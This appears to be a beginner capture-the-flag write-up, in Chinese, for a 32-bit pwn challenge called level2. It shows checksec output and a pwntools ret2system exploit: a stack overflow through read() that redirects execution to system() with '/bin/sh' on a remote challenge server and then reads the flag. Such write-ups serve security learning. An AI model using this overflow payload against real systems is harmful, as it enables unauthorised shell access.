pwn 新手 level2 (ROP)(覆盖返回地址,写入参数)

zzet@ubuntu:~$ cd Desktop/ zzet@ubuntu:~/Desktop$ chmod +x level2 zzet@ubuntu:~/Desktop$ ./level2 Input: asd Hello World! zzet@ubuntu:~/Desktop$ file level2 level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped zzet@ubuntu:~/Desktop$ checksec level2 [*] '/home/zzet/Desktop/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) zzet@ubuntu:~/Desktop$
IDA
想法:
read 函数可以栈溢出
字符串/bin/sh应该用来做system()参数
但是system参数也不是用变量做参数,怎么利用????
WriteUp:
函数窗口有一个_system函数(下面的system函数又是什么??)
read 的时候 覆盖返回地址,写入system函数的参数,也就是“/bin/sh地址”
from pwn import *
p = remote("111.200.241.244",45760)
#system = 0x804A038
system = 0x8048320
bin_sh = 0x804A024
payload = 'a' * (0x88 + 0x04) + p32(system).decode("unicode_escape") + p32(0).decode("unicode_escape") + p32(bin_sh).decode("unicode_escape")
print(p.recv())
p.sendline(payload)
p.sendline("cat flag")
print(p.recv())